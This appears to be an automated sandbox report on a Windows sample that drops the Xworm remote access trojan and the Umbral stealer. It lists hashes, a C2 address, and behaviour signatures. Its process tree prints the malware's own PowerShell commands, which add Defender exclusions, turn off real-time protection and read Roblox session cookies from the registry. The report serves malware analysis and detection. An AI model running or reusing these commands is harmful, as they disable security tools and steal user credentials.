Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250217-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    23-02-2025 10:42

General

  • Target

    obxod266dev.exe

  • Size

    329KB

  • MD5

    31fc82eeaed45f2389b57ffb9d8f6ea2

  • SHA1

    fd46d4e307b09a372a3bfc0d88b87eeccaf77912

  • SHA256

    dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248

  • SHA512

    418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962

  • SSDEEP

    6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX

Malware Config

Extracted

Family

xworm

C2

25.ip.gl.ply.gg:59054

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe
    "C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe
      "C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4948
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:1868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    3eb3833f769dd890afc295b977eab4b4

    SHA1

    e857649b037939602c72ad003e5d3698695f436f

    SHA256

    c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

    SHA512

    c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ee837f9246bf7d67b3132d8c32031517

    SHA1

    044171961c32e56e9e41da106ca654d1d7a5198f

    SHA256

    bf2368988696a019042e21b490d30f66297c8517a9fd3ca798fac7183d2b2d28

    SHA512

    cd8636c9fcdf8eb25cde91309edf5a01cba0b155d81f4a176c0bb7e0b829cc0b7adea724d6d27778beaf1247bafdddc9c47d05388c23da26a21e8c436d47d4a5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    948B

    MD5

    17a0a44e439d7537b59a1427b9098d2a

    SHA1

    2cc3385ceec3f3a66f43f4b0589fa48c377c81ce

    SHA256

    8bdd09c07d47e891eb22a79308aa1b12c30e1fd814588db3a0dd2ab0542b0c70

    SHA512

    b0ad5a62c0c4f9505c4b521526c8634c6f5623ad826c072ac65fc0c844097e320b5d6455538ae287253a8a6dfba2e97acac1c2b1e67c647042886a6d0d5c6115

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8e1fdd1b66d2fee9f6a052524d4ddca5

    SHA1

    0a9d0994559d1be2eecd8b0d6960540ca627bdb6

    SHA256

    4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

    SHA512

    5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c67441dfa09f61bca500bb43407c56b8

    SHA1

    5a56cf7cbeb48c109e2128c31b681fac3959157b

    SHA256

    63082da456c124d0bc516d2161d1613db5f3008d903e4066d2c7b4e90b435f33

    SHA512

    325de8b718b3a01df05e20e028c5882240e5fd2e96c771361b776312923ff178f27494a1f5249bf6d7365a99155eb8735a51366e85597008e6a10462e63ee0e8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a351c6fcddc521a878a8a0d47f730cb2

    SHA1

    7cc4cf84e61fbc9f4aa72099cad38421ef822841

    SHA256

    33fc4536f4339e7feb2469e274182831e618228e8e9e437f55baffe6f9d3ef4b

    SHA512

    078fd794f9293533ff5920c152640ad36a9b8b67c9b802a85d9d33bafd2a36e5a4d325eba24df1af3fb755a6477c68b70b6e46d3947083571f20bde908414cee

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    38ca1a109e14171bd3a3a8a1cec17399

    SHA1

    1564aeca3bbf2eaacd775e7026b1e4f8942d9118

    SHA256

    ba0f9fc15a3eec415f1d9f9f9b9638c60f24aecc14062493b20cdb98e1dd0ea1

    SHA512

    cada941969630d3baef3003e2bf46cff50a1fc242616292d275006c4fb8b641848e4b2f9666189cbd2de2b20fc7c603b5fcbe394b925ccd055bd1e02abe36561

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    653614c0be930974ac694f4aafefd66d

    SHA1

    f24942ebfb6dbae8aa0ded197b4b699670e0992e

    SHA256

    54e9472478d0e520380552dfb9076b67d89ceb7d9c527524b3e78629c6e81620

    SHA512

    6d71f663fc92e883e8d308cbca075409cd466d91b7332a82e83a7dbcd5ff8e3d9958d91b03d73238f2bf3686301b717ca57d14ba931e3f8404c9d1a8f05165c7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uh33kto1.z23.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Umbral.exe

    Filesize

    232KB

    MD5

    e486d8aafa368a43a56987dd4d80aa75

    SHA1

    8851fe89928a47a58b50348d9a4458f24e2725f9

    SHA256

    596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136

    SHA512

    abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573

  • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe

    Filesize

    80KB

    MD5

    3598f860aacfe53b00c305715a6c7b2f

    SHA1

    70640b2e8a71017cdf5fb8e91fe0b065f89a064b

    SHA256

    b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241

    SHA512

    0b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c

  • memory/1644-35-0x0000014271B40000-0x0000014271B62000-memory.dmp

    Filesize

    136KB

  • memory/1844-113-0x00000134C3E50000-0x00000134C3EA0000-memory.dmp

    Filesize

    320KB

  • memory/1844-139-0x00000134C3BE0000-0x00000134C3BEA000-memory.dmp

    Filesize

    40KB

  • memory/1844-146-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/1844-145-0x00000134C4F20000-0x00000134C508A000-memory.dmp

    Filesize

    1.4MB

  • memory/1844-87-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/1844-34-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/1844-144-0x00000134C3F80000-0x00000134C4127000-memory.dmp

    Filesize

    1.7MB

  • memory/1844-32-0x00000134A9650000-0x00000134A9690000-memory.dmp

    Filesize

    256KB

  • memory/1844-112-0x00000134C3DD0000-0x00000134C3E46000-memory.dmp

    Filesize

    472KB

  • memory/1844-140-0x00000134C3D70000-0x00000134C3D82000-memory.dmp

    Filesize

    72KB

  • memory/1844-114-0x00000134A9CC0000-0x00000134A9CDE000-memory.dmp

    Filesize

    120KB

  • memory/2392-88-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/2392-31-0x0000000000470000-0x000000000048A000-memory.dmp

    Filesize

    104KB

  • memory/2392-33-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/2392-86-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/2392-85-0x00007FFB739C0000-0x00007FFB74482000-memory.dmp

    Filesize

    10.8MB

  • memory/2764-1-0x0000000000840000-0x0000000000898000-memory.dmp

    Filesize

    352KB

  • memory/2764-0-0x00007FFB739C3000-0x00007FFB739C5000-memory.dmp

    Filesize

    8KB